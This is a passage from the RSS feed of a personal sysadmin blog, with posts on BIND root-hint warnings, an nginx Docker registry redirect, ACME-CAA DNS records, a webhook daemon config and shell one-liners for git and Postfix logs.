  4318.    <description><![CDATA[<p>A <a href="https://news.ycombinator.com/item?id=38792358" title="True, MECSA is also interesting: https://mecsa.jrc.ec.europa.eu/en/ | Hacker News">comment on Hacker News</a> pointed me to the <a href="https://mecsa.jrc.ec.europa.eu/en/" title="My Email Communications Security Assessment (MECSA)">MECSA tool</a> provided by the European Union.</p>
  4319. <p>MECSA stands for My Email Communications Security Assessment, and is a tool to assess the security of email communication between providers.</p>
  4320. <p>As I run my own email server, I was curious to find out how my setup is scoring. Here are the results, seems like I'm doing a good job :-)</p>
  4321. <p><a href="https://blog.x-way.org/images/mecsa_scores_full.png" title="MECSA score for jaggi.info, showing 5/5 stars in Confidential Delivery, Phishing and Identity Theft, and Intergrity of Messages."><img src="https://blog.x-way.org/images/mecsa_scores.png" alt="MECSA score for jaggi.info, showing 5/5 stars in Confidential Delivery, Phishing and Identity Theft, and Intergrity of Messages." height="61" width="650"></a></p>
  4322. <p><a href="https://blog.x-way.org/images/mecsa_details_full.png" title="MECSA details for jaggi.info, showing 100 points in StartTLS, X509, SPF, DKIM, DMARC, DANE, DNSSEC and MTA-STS."><img src="https://blog.x-way.org/images/mecsa_details.png" alt="MECSA details for jaggi.info, showing 100 points in StartTLS, X509, SPF, DKIM, DMARC, DANE, DNSSEC and MTA-STS." height="75" width="650"></a></p>
  4323. <p>Link to the full report for jaggi.info: <a href="https://mecsa.jrc.ec.europa.eu/en/finderRequest/f856486ecaf94dce5e8022c0a97c63b3" title="Report id f856486ecaf94dce5e8022c0a97c63b3 for domain jaggi.info (28/12/2023)">https://mecsa.jrc.ec.europa.eu/en/finderRequest/f856486ecaf94dce5e8022c0a97c63b3</a></p>
  4324. ]]></description>
  4325.    <content:encoded><![CDATA[<p>A <a href="https://news.ycombinator.com/item?id=38792358" title="True, MECSA is also interesting: https://mecsa.jrc.ec.europa.eu/en/ | Hacker News">comment on Hacker News</a> pointed me to the <a href="https://mecsa.jrc.ec.europa.eu/en/" title="My Email Communications Security Assessment (MECSA)">MECSA tool</a> provided by the European Union.</p>
  4326. <p>MECSA stands for My Email Communications Security Assessment, and is a tool to assess the security of email communication between providers.</p>
  4327. <p>As I run my own email server, I was curious to find out how my setup is scoring. Here are the results, seems like I'm doing a good job :-)</p>
  4328. <p><a href="https://blog.x-way.org/images/mecsa_scores_full.png" title="MECSA score for jaggi.info, showing 5/5 stars in Confidential Delivery, Phishing and Identity Theft, and Intergrity of Messages."><img src="https://blog.x-way.org/images/mecsa_scores.png" alt="MECSA score for jaggi.info, showing 5/5 stars in Confidential Delivery, Phishing and Identity Theft, and Intergrity of Messages." height="61" width="650"></a></p>
  4329. <p><a href="https://blog.x-way.org/images/mecsa_details_full.png" title="MECSA details for jaggi.info, showing 100 points in StartTLS, X509, SPF, DKIM, DMARC, DANE, DNSSEC and MTA-STS."><img src="https://blog.x-way.org/images/mecsa_details.png" alt="MECSA details for jaggi.info, showing 100 points in StartTLS, X509, SPF, DKIM, DMARC, DANE, DNSSEC and MTA-STS." height="75" width="650"></a></p>
  4330. <p>Link to the full report for jaggi.info: <a href="https://mecsa.jrc.ec.europa.eu/en/finderRequest/f856486ecaf94dce5e8022c0a97c63b3" title="Report id f856486ecaf94dce5e8022c0a97c63b3 for domain jaggi.info (28/12/2023)">https://mecsa.jrc.ec.europa.eu/en/finderRequest/f856486ecaf94dce5e8022c0a97c63b3</a></p>
  4331. ]]></content:encoded>
  4332.  </item>
  4333.  
  4334.  <item>
  4335.    <title>Fix named checkhints extra record in hints</title>
  4336.    <link>https://blog.x-way.org/Linux/2023/12/27/Fix-named-checkhints-extra-record-in-hints.html</link>
  4337.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324318</guid>
  4338.    <dc:creator>Andreas Jaggi</dc:creator>
  4339.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4340.    <pubDate>Wed, 27 Dec 2023 20:53:00 +0100</pubDate>
  4341.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  4342.    <description><![CDATA[<p>Recently named on my Debian server started to emit the following messages:</p>
  4343. <pre>Dec 23 18:30:05 server named[1168203]: checkhints: view external_network: b.root-servers.net/A (170.247.170.2) missing from hints
  4344. Dec 23 18:30:05 server named[1168203]: checkhints: view external_network: b.root-servers.net/A (199.9.14.201) extra record in hints
  4345. Dec 23 18:30:05 server named[1168203]: checkhints: view external_network: b.root-servers.net/AAAA (2801:1b8:10::b) missing from hints
  4346. Dec 23 18:30:05 server named[1168203]: checkhints: view external_network: b.root-servers.net/AAAA (2001:500:200::b) extra record in hints</pre>
  4347. <p>The reason for these warnings, is a <a href="https://b.root-servers.org/news/2023/05/16/new-addresses.html" title="New addresses for b.root-servers.net">IP change of the B root-server</a>.</p>
  4348. <p>Debian is <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054393" title="Debian bug report #1054393">not ready yet</a> with updating their dns-root-data package.<br>To fix the mismatching IP definitions on a Debian system, the current root zone definitions can also be updated manually from Internic:</p>
  4349. <pre>curl https://www.internic.net/domain/named.root -s &gt; /usr/share/dns/root.hints
  4350. curl https://www.internic.net/domain/named.root.sig -s &gt; /usr/share/dns/root.hints.sig</pre>
  4351. ]]></description>
  4352.    <content:encoded><![CDATA[<p>Recently named on my Debian server started to emit the following messages:</p>
  4353. <pre>Dec 23 18:30:05 server named[1168203]: checkhints: view external_network: b.root-servers.net/A (170.247.170.2) missing from hints
  4354. Dec 23 18:30:05 server named[1168203]: checkhints: view external_network: b.root-servers.net/A (199.9.14.201) extra record in hints
  4355. Dec 23 18:30:05 server named[1168203]: checkhints: view external_network: b.root-servers.net/AAAA (2801:1b8:10::b) missing from hints
  4356. Dec 23 18:30:05 server named[1168203]: checkhints: view external_network: b.root-servers.net/AAAA (2001:500:200::b) extra record in hints</pre>
  4357. <p>The reason for these warnings, is a <a href="https://b.root-servers.org/news/2023/05/16/new-addresses.html" title="New addresses for b.root-servers.net">IP change of the B root-server</a>.</p>
  4358. <p>Debian is <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054393" title="Debian bug report #1054393">not ready yet</a> with updating their dns-root-data package.<br>To fix the mismatching IP definitions on a Debian system, the current root zone definitions can also be updated manually from Internic:</p>
  4359. <pre>curl https://www.internic.net/domain/named.root -s &gt; /usr/share/dns/root.hints
  4360. curl https://www.internic.net/domain/named.root.sig -s &gt; /usr/share/dns/root.hints.sig</pre>
  4361. ]]></content:encoded>
  4362.  </item>
  4363.  
  4364.  <item>
  4365.    <title>Wikipedia Donation</title>
  4366.    <link>https://blog.x-way.org/Misc/2023/12/10/Wikipedia-Donation.html</link>
  4367.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324317</guid>
  4368.    <dc:creator>Andreas Jaggi</dc:creator>
  4369.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4370.    <pubDate>Sun, 10 Dec 2023 22:24:00 +0100</pubDate>
  4371.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  4372.    <description><![CDATA[<p>Seems that after donating to Wikipedia there is a redirect to <a href="https://thankyou.wikipedia.org/wiki/Thank_You/en" rel="noreferrer" title="Thank You - Wikimedia Foundation">this page</a>, which sets a cookie to no longer show the donation banners.</p>
  4373. ]]></description>
  4374.    <content:encoded><![CDATA[<p>Seems that after donating to Wikipedia there is a redirect to <a href="https://thankyou.wikipedia.org/wiki/Thank_You/en" rel="noreferrer" title="Thank You - Wikimedia Foundation">this page</a>, which sets a cookie to no longer show the donation banners.</p>
  4375. ]]></content:encoded>
  4376.  </item>
  4377.  
  4378.  <item>
  4379.    <title>Why Personal Blogging Still Rules</title>
  4380.    <link>https://blog.x-way.org/Misc/2023/04/30/Why-Personal-Blogging-Still-Rules.html</link>
  4381.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324316</guid>
  4382.    <dc:creator>Andreas Jaggi</dc:creator>
  4383.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4384.    <pubDate>Sun, 30 Apr 2023 14:42:00 +0200</pubDate>
  4385.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  4386.    <description><![CDATA[<p>Resonating article from <a href="https://mikegrindle.com/" title="Mike Grindle - Homepage">Mike Grindle</a> about personal blogging and how it fits into todays Internet: <a href="https://mikegrindle.com/posts/personal-blogging" title="Why Personal Blogging Still Rules - mikegrindle.com">Why Personal Blogging Still Rules</a></p>
  4387. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4388. <p>Before the social media craze or publishing platforms, and long before ‘content creator’ was a job title, blogs served as one of the primary forms of online expression and communication.</p>
  4389. </blockquote>
  4390. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4391. <p>Everything on your blog was made to look and feel the way you wanted. If it didn’t, you rolled your sleeves up and coded that stuff in like the webmaster you were. And if the masses didn’t like it, who cared? They had no obligations to you, and you had none to them.</p>
  4392. </blockquote>
  4393. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4394. <p>Hiding beneath the drivel that is Google’s search results, and all the trackers, cookies, ads and curated feeds that come with them, personal blogs and sites of all shapes and sizes are still there. They’re thriving even in a kind of interconnected web beneath the web.</p>
  4395. </blockquote>
  4396. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4397. <p>The blogs on this small or “indie” web come in many shapes and sizes. [&hellip;] But at their core, they all have one characteristic in common: they’re there because their owners wanted to carve out their space on the internet.</p>
  4398. </blockquote>
  4399. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4400. <p>Your blog doesn’t have to be big and fancy. It doesn’t have to outrank everyone on Google, make money or “convert leads” to be important. It can be something that exists for its own sake, as your place to express yourself in whatever manner you please.</p>
  4401. </blockquote>
  4402. <p>(<a href="https://uninformation.org/webnotizen/23/why-personal-blogging-still-rules/" title="der Uninformat – »Why Personal Blogging Still Rules«">via</a>)</p>
  4403. ]]></description>
  4404.    <content:encoded><![CDATA[<p>Resonating article from <a href="https://mikegrindle.com/" title="Mike Grindle - Homepage">Mike Grindle</a> about personal blogging and how it fits into todays Internet: <a href="https://mikegrindle.com/posts/personal-blogging" title="Why Personal Blogging Still Rules - mikegrindle.com">Why Personal Blogging Still Rules</a></p>
  4405. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4406. <p>Before the social media craze or publishing platforms, and long before ‘content creator’ was a job title, blogs served as one of the primary forms of online expression and communication.</p>
  4407. </blockquote>
  4408. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4409. <p>Everything on your blog was made to look and feel the way you wanted. If it didn’t, you rolled your sleeves up and coded that stuff in like the webmaster you were. And if the masses didn’t like it, who cared? They had no obligations to you, and you had none to them.</p>
  4410. </blockquote>
  4411. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4412. <p>Hiding beneath the drivel that is Google’s search results, and all the trackers, cookies, ads and curated feeds that come with them, personal blogs and sites of all shapes and sizes are still there. They’re thriving even in a kind of interconnected web beneath the web.</p>
  4413. </blockquote>
  4414. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4415. <p>The blogs on this small or “indie” web come in many shapes and sizes. [&hellip;] But at their core, they all have one characteristic in common: they’re there because their owners wanted to carve out their space on the internet.</p>
  4416. </blockquote>
  4417. <blockquote cite="https://mikegrindle.com/posts/personal-blogging">
  4418. <p>Your blog doesn’t have to be big and fancy. It doesn’t have to outrank everyone on Google, make money or “convert leads” to be important. It can be something that exists for its own sake, as your place to express yourself in whatever manner you please.</p>
  4419. </blockquote>
  4420. <p>(<a href="https://uninformation.org/webnotizen/23/why-personal-blogging-still-rules/" title="der Uninformat – »Why Personal Blogging Still Rules«">via</a>)</p>
  4421. ]]></content:encoded>
  4422.  </item>
  4423.  
  4424.  <item>
  4425.    <title>exec-hookd</title>
  4426.    <link>https://blog.x-way.org/Linux/2023/04/23/exec-hookd.html</link>
  4427.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324315</guid>
  4428.    <dc:creator>Andreas Jaggi</dc:creator>
  4429.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4430.    <pubDate>Sun, 23 Apr 2023 22:32:00 +0200</pubDate>
  4431.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  4432.    <description><![CDATA[<p>To automate some of the deployment steps on my personal server, I needed a tool which can be triggered by a webhook and does execute some pre-defined commands.</p>
  4433. <p>A classic solution for this would be to have a simple PHP script with a call to <code>system(...)</code>. But I don't have PHP installed on the server itself and wanted this to be more lightweight than a full Apache+PHP installation.</p>
  4434. <p>Thus <a href="https://github.com/x-way/exec-hookd" title="x-way/exec-hookd: execute commands from webhooks">exec-hookd</a> was born. It is a small Go daemon which listens to HTTP POST requests and runs pre-defined commands when a matching path is requested.</p>
  4435. <p>Its configuration lives in a small JSON file, which lists the port to listen on and the paths together with their commands to execute:</p>
  4436. <pre>{
  4437.  "Port": 8059,
  4438.  "HookList": [
  4439.    {
  4440.      "Path": "/myhook",
  4441.      "Exec": [
  4442.        {
  4443.          "Cmd": "/usr/bin/somecmd",
  4444.          "Args": [
  4445.            "--some",
  4446.            "arguments"
  4447.          ],
  4448.          "Timeout": "5s"
  4449.        }
  4450.      ]
  4451.    }
  4452.  ]
  4453. }</pre>
  4454. <p>The commands are called with a timeout after which they are stopped to avoid that things hang around forever.</p>
  4455. ]]></description>
  4456.    <content:encoded><![CDATA[<p>To automate some of the deployment steps on my personal server, I needed a tool which can be triggered by a webhook and does execute some pre-defined commands.</p>
  4457. <p>A classic solution for this would be to have a simple PHP script with a call to <code>system(...)</code>. But I don't have PHP installed on the server itself and wanted this to be more lightweight than a full Apache+PHP installation.</p>
  4458. <p>Thus <a href="https://github.com/x-way/exec-hookd" title="x-way/exec-hookd: execute commands from webhooks">exec-hookd</a> was born. It is a small Go daemon which listens to HTTP POST requests and runs pre-defined commands when a matching path is requested.</p>
  4459. <p>Its configuration lives in a small JSON file, which lists the port to listen on and the paths together with their commands to execute:</p>
  4460. <pre>{
  4461.  "Port": 8059,
  4462.  "HookList": [
  4463.    {
  4464.      "Path": "/myhook",
  4465.      "Exec": [
  4466.        {
  4467.          "Cmd": "/usr/bin/somecmd",
  4468.          "Args": [
  4469.            "--some",
  4470.            "arguments"
  4471.          ],
  4472.          "Timeout": "5s"
  4473.        }
  4474.      ]
  4475.    }
  4476.  ]
  4477. }</pre>
  4478. <p>The commands are called with a timeout after which they are stopped to avoid that things hang around forever.</p>
  4479. ]]></content:encoded>
  4480.  </item>
  4481.  
  4482.  <item>
  4483.    <title>Nice git log alias</title>
  4484.    <link>https://blog.x-way.org/Coding/2023/04/16/Nice-git-log-alias.html</link>
  4485.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324314</guid>
  4486.    <dc:creator>Andreas Jaggi</dc:creator>
  4487.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4488.    <pubDate>Sun, 16 Apr 2023 13:55:00 +0200</pubDate>
  4489.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  4490.    <description><![CDATA[<p><a href="https://uninformation.org/" title="Wald- und Wiesen-Weblog - uninformation.org">Ralf</a> <a href="https://web.archive.org/web/20231128231558/https://masto.futbol/@oldschooldev/109839690235274960" title="ralf g.: killer-alias für das schönste gitlog in der shell">tooted</a> a nice and tidy git log output alias for the console:</p>
  4491. <code>
  4492. alias glg="git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)&lt;%an&gt;%Creset' --abbrev-commit"
  4493. </code>
  4494. ]]></description>
  4495.    <content:encoded><![CDATA[<p><a href="https://uninformation.org/" title="Wald- und Wiesen-Weblog - uninformation.org">Ralf</a> <a href="https://web.archive.org/web/20231128231558/https://masto.futbol/@oldschooldev/109839690235274960" title="ralf g.: killer-alias für das schönste gitlog in der shell">tooted</a> a nice and tidy git log output alias for the console:</p>
  4496. <code>
  4497. alias glg="git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)&lt;%an&gt;%Creset' --abbrev-commit"
  4498. </code>
  4499. ]]></content:encoded>
  4500.  </item>
  4501.  
  4502.  <item>
  4503.    <title>Docker registry facade with nginx</title>
  4504.    <link>https://blog.x-way.org/Linux/2023/03/18/Docker-registry-facade-with-nginx.html</link>
  4505.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324313</guid>
  4506.    <dc:creator>Andreas Jaggi</dc:creator>
  4507.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4508.    <pubDate>Sat, 18 Mar 2023 10:36:00 +0100</pubDate>
  4509.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  4510.    <description><![CDATA[<p>Found <a href="https://httptoolkit.com/blog/docker-image-registry-facade/" title="Dodge the next Dockerpocalypse: how to own your own Docker Registry address">this inspiring blog post</a> about how to use your own domain for Docker images. (via <a href="https://news.ycombinator.com/item?id=35205838" title="How to own your own Docker Registry address | Hacker News">HN</a>)</p>
  4511. <p>It explains how to use your own domain with redirects such that the Docker registry hosting the images can be changed easily. Your domain is only used for issueing HTTP redirects, so that the actual data storage and transfer happens directly with the Docker registry.</p>
  4512. <p>The blog post comes with <a href="https://github.com/httptoolkit/docker-registry-facade/blob/main/Caddyfile" title="Caddyfile">a sample implementation for Caddy</a>. As my server is running <a href="https://nginx.org/" title="nginx">nginx</a>, I used the following config snippet to achieve the same result:</p>
  4513. <pre>
  4514. server {
  4515. listen 443 ssl;
  4516. listen [::]:443 ssl;
  4517.  
  4518. server_name docker.x-way.org;
  4519.  
  4520. access_log /var/log/nginx/docker.x-way.org.access.log;
  4521. error_log /var/log/nginx/docker.x-way.org.error.log;
  4522.  
  4523. ssl_certificate /etc/letsencrypt/live/docker.x-way.org/fullchain.pem;
  4524. ssl_certificate_key /etc/letsencrypt/live/docker.x-way.org/privkey.pem;
  4525.  
  4526. location / {
  4527. return 403;
  4528. }
  4529.  
  4530. location = /v2 {
  4531. add_header Cache-Control 'max-age=300, must-revalidate';
  4532. return 307 https://registry.hub.docker.com$request_uri;
  4533. }
  4534. location = /v2/ {
  4535. add_header Cache-Control 'max-age=300, must-revalidate';
  4536. return 307 https://registry.hub.docker.com$request_uri;
  4537. }
  4538. location = /v2/xway {
  4539. add_header Cache-Control 'max-age=300, must-revalidate';
  4540. return 307 https://registry.hub.docker.com$request_uri;
  4541. }
  4542. location /v2/xway/ {
  4543. add_header Cache-Control 'max-age=300, must-revalidate';
  4544. return 307 https://registry.hub.docker.com$request_uri;
  4545. }
  4546. }
  4547. </pre>
  4548. <p>Quickly tested it with some docker pull commands and already integrated it into the <a href="https://github.com/x-way/dnsupd/pull/72" title="Use custom registry by x-way - Pull Request #72 - x-way/dnsupd">build process of dnsupd</a>.</p>
  4549. ]]></description>
  4550.    <content:encoded><![CDATA[<p>Found <a href="https://httptoolkit.com/blog/docker-image-registry-facade/" title="Dodge the next Dockerpocalypse: how to own your own Docker Registry address">this inspiring blog post</a> about how to use your own domain for Docker images. (via <a href="https://news.ycombinator.com/item?id=35205838" title="How to own your own Docker Registry address | Hacker News">HN</a>)</p>
  4551. <p>It explains how to use your own domain with redirects such that the Docker registry hosting the images can be changed easily. Your domain is only used for issueing HTTP redirects, so that the actual data storage and transfer happens directly with the Docker registry.</p>
  4552. <p>The blog post comes with <a href="https://github.com/httptoolkit/docker-registry-facade/blob/main/Caddyfile" title="Caddyfile">a sample implementation for Caddy</a>. As my server is running <a href="https://nginx.org/" title="nginx">nginx</a>, I used the following config snippet to achieve the same result:</p>
  4553. <pre>
  4554. server {
  4555. listen 443 ssl;
  4556. listen [::]:443 ssl;
  4557.  
  4558. server_name docker.x-way.org;
  4559.  
  4560. access_log /var/log/nginx/docker.x-way.org.access.log;
  4561. error_log /var/log/nginx/docker.x-way.org.error.log;
  4562.  
  4563. ssl_certificate /etc/letsencrypt/live/docker.x-way.org/fullchain.pem;
  4564. ssl_certificate_key /etc/letsencrypt/live/docker.x-way.org/privkey.pem;
  4565.  
  4566. location / {
  4567. return 403;
  4568. }
  4569.  
  4570. location = /v2 {
  4571. add_header Cache-Control 'max-age=300, must-revalidate';
  4572. return 307 https://registry.hub.docker.com$request_uri;
  4573. }
  4574. location = /v2/ {
  4575. add_header Cache-Control 'max-age=300, must-revalidate';
  4576. return 307 https://registry.hub.docker.com$request_uri;
  4577. }
  4578. location = /v2/xway {
  4579. add_header Cache-Control 'max-age=300, must-revalidate';
  4580. return 307 https://registry.hub.docker.com$request_uri;
  4581. }
  4582. location /v2/xway/ {
  4583. add_header Cache-Control 'max-age=300, must-revalidate';
  4584. return 307 https://registry.hub.docker.com$request_uri;
  4585. }
  4586. }
  4587. </pre>
  4588. <p>Quickly tested it with some docker pull commands and already integrated it into the <a href="https://github.com/x-way/dnsupd/pull/72" title="Use custom registry by x-way - Pull Request #72 - x-way/dnsupd">build process of dnsupd</a>.</p>
  4589. ]]></content:encoded>
  4590.  </item>
  4591.  
  4592.  <item>
  4593.    <title>STRAYA 🇦🇺</title>
  4594.    <link>https://blog.x-way.org/Music/2023/01/26/STRAYA.html</link>
  4595.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324312</guid>
  4596.    <dc:creator>Andreas Jaggi</dc:creator>
  4597.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4598.    <pubDate>Thu, 26 Jan 2023 05:43:00 +0100</pubDate>
  4599.    <category domain="https://blog.x-way.org/Music/">Music</category>
  4600.    <description><![CDATA[<p>Here's a bit older mashup. Happy <a href="https://www.australiaday.com.au/" title="Australia Day 2023 - Australia Day in NSW">Australia Day</a>!</p>
  4601. <p><a href="https://youtu.be/rMdbVHPmCW0" title="National Anthem of STRAYA - YouTube">National Anthem of STRAYA</a></p>
  4602. ]]></description>
  4603.    <content:encoded><![CDATA[<p>Here's a bit older mashup. Happy <a href="https://www.australiaday.com.au/" title="Australia Day 2023 - Australia Day in NSW">Australia Day</a>!</p>
  4604. <p><a href="https://youtu.be/rMdbVHPmCW0" title="National Anthem of STRAYA - YouTube">National Anthem of STRAYA</a></p>
  4605. ]]></content:encoded>
  4606.  </item>
  4607.  
  4608.  <item>
  4609.    <title>ACME-CAA</title>
  4610.    <link>https://blog.x-way.org/Networking/2023/01/18/ACME-CAA.html</link>
  4611.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324311</guid>
  4612.    <dc:creator>Andreas Jaggi</dc:creator>
  4613.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4614.    <pubDate>Wed, 18 Jan 2023 23:06:00 +0100</pubDate>
  4615.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  4616.    <description><![CDATA[<p>Let's Encrypt recently <a href="https://community.letsencrypt.org/t/enabling-acme-caa-account-and-method-binding/189588" title="Enabling ACME CAA Account and Method Binding">introduced support</a> for <a href="https://www.rfc-editor.org/rfc/rfc8657" title="RFC8657">ACME-CAA</a>.</p>
  4617. <p>I've now extended my existing CAA DNS entries with the ACME-CAA properties:</p>
  4618. <pre>% dig +short -t CAA x-way.org
  4619. 0 issue "letsencrypt.org; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/68891730; validationmethods=http-01"
  4620. 0 issue "letsencrypt.org; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/605777876; validationmethods=http-01"</pre>
  4621. <p>The effect of this is that Let's Encrypt will only grant a signed TLS certificate if the request comes from one of my two accounts (authenticated with the corresponding private key).<br>If the certificate request comes from a different account, no TLS certificate will be granted.<br>This protects against man-in-the-middle attacks, specifically against attacks where someone between Let's Encrypt and my server would be trying to impersonate my server to obtain a signed TLS certificate.</p>
  4622. <p>Addendum:<br>In case you're wondering where to get the accounturi value from, it can be found in your account file:</p>
  4623. <pre>% cat /etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/*/regr.json
  4624. {"body": {}, "uri": "https://acme-v02.api.letsencrypt.org/acme/acct/605777876"}</pre>
  4625. ]]></description>
  4626.    <content:encoded><![CDATA[<p>Let's Encrypt recently <a href="https://community.letsencrypt.org/t/enabling-acme-caa-account-and-method-binding/189588" title="Enabling ACME CAA Account and Method Binding">introduced support</a> for <a href="https://www.rfc-editor.org/rfc/rfc8657" title="RFC8657">ACME-CAA</a>.</p>
  4627. <p>I've now extended my existing CAA DNS entries with the ACME-CAA properties:</p>
  4628. <pre>% dig +short -t CAA x-way.org
  4629. 0 issue "letsencrypt.org; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/68891730; validationmethods=http-01"
  4630. 0 issue "letsencrypt.org; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/605777876; validationmethods=http-01"</pre>
  4631. <p>The effect of this is that Let's Encrypt will only grant a signed TLS certificate if the request comes from one of my two accounts (authenticated with the corresponding private key).<br>If the certificate request comes from a different account, no TLS certificate will be granted.<br>This protects against man-in-the-middle attacks, specifically against attacks where someone between Let's Encrypt and my server would be trying to impersonate my server to obtain a signed TLS certificate.</p>
  4632. <p>Addendum:<br>In case you're wondering where to get the accounturi value from, it can be found in your account file:</p>
  4633. <pre>% cat /etc/letsencrypt/accounts/acme-v02.api.letsencrypt.org/directory/*/regr.json
  4634. {"body": {}, "uri": "https://acme-v02.api.letsencrypt.org/acme/acct/605777876"}</pre>
  4635. ]]></content:encoded>
  4636.  </item>
  4637.  
  4638.  <item>
  4639.    <title>JSON Feed</title>
  4640.    <link>https://blog.x-way.org/Webdesign/2023/01/10/JSON-Feed.html</link>
  4641.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324310</guid>
  4642.    <dc:creator>Andreas Jaggi</dc:creator>
  4643.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4644.    <pubDate>Tue, 10 Jan 2023 21:51:00 +0100</pubDate>
  4645.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  4646.    <description><![CDATA[<p>Added a <a href="https://en.wikipedia.org/wiki/JSON_Feed" title="JSON Feed - Wikipedia">JSON Feed</a> to this blog (in additon to the existing <a href="https://blog.x-way.org/rss.xml" title="x-log - RSS feed">RSS</a> and <a href="https://blog.x-way.org/atom.xml" title="x-log - Atom feed">Atom</a> feeds): <a href="https://blog.x-way.org/feed.json" title="x-log - JSON feed">https://blog.x-way.org/feed.json</a></p>
  4647. <p>To build the proper JSON file, I used <a href="https://github.com/vallieres/jekyll-json-feed/tree/master" title="JSON Feed for Jekyll">this Jekyll template</a> and the <a href="https://validator.jsonfeed.org/" title="JSON Feed Validator">JSON Feed validator</a>.</p>
  4648. ]]></description>
  4649.    <content:encoded><![CDATA[<p>Added a <a href="https://en.wikipedia.org/wiki/JSON_Feed" title="JSON Feed - Wikipedia">JSON Feed</a> to this blog (in additon to the existing <a href="https://blog.x-way.org/rss.xml" title="x-log - RSS feed">RSS</a> and <a href="https://blog.x-way.org/atom.xml" title="x-log - Atom feed">Atom</a> feeds): <a href="https://blog.x-way.org/feed.json" title="x-log - JSON feed">https://blog.x-way.org/feed.json</a></p>
  4650. <p>To build the proper JSON file, I used <a href="https://github.com/vallieres/jekyll-json-feed/tree/master" title="JSON Feed for Jekyll">this Jekyll template</a> and the <a href="https://validator.jsonfeed.org/" title="JSON Feed Validator">JSON Feed validator</a>.</p>
  4651. ]]></content:encoded>
  4652.  </item>
  4653.  
  4654.  <item>
  4655.    <title>Get last 24h of logs with AWK</title>
  4656.    <link>https://blog.x-way.org/Linux/2023/01/03/Get-last-24h-of-logs-with-AWK.html</link>
  4657.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324309</guid>
  4658.    <dc:creator>Andreas Jaggi</dc:creator>
  4659.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4660.    <pubDate>Tue, 03 Jan 2023 14:40:00 +0100</pubDate>
  4661.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  4662.    <description><![CDATA[<p>For a temporary log analysis task, I wanted to get the last 24h of logs from a <a href="http://www.postfix.org/" title="The Postfix Home Page">Postfix</a> logfile.<br>To achieve this I came up with the following AWK oneliner (which fails in spectacular ways around new years):</p>
  4663. <code>
  4664. awk -F '[ :]+' 'BEGIN{m=split("Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec",d,"|"); for(o=1;o&lt;=m;o++){months[d[o]]=sprintf("%02d",o)}} mktime(strftime("%Y")" "months[$1]" "sprintf("%02d",$2+1)" "$3" "$4" "$5) &gt; systime()'
  4665. </code>
  4666. <p>This is then used in a cronjob to get a <a href="http://jimsun.linxnet.com/postfix_contrib.html" title="JIMSUN - Postfix Contribs">pflogsumm</a> summary of the last 24h:</p>
  4667. <code>
  4668. cat /var/log/mail.log | awk -F '[ :]+' 'BEGIN{m=split("Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec",d,"|"); for(o=1;o&lt;=m;o++){months[d[o]]=sprintf("%02d",o)}} mktime(strftime("%Y")" "months[$1]" "sprintf("%02d",$2+1)" "$3" "$4" "$5) &gt; systime()' | pflogsumm
  4669. </code>
  4670. ]]></description>
  4671.    <content:encoded><![CDATA[<p>For a temporary log analysis task, I wanted to get the last 24h of logs from a <a href="http://www.postfix.org/" title="The Postfix Home Page">Postfix</a> logfile.<br>To achieve this I came up with the following AWK oneliner (which fails in spectacular ways around new years):</p>
  4672. <code>
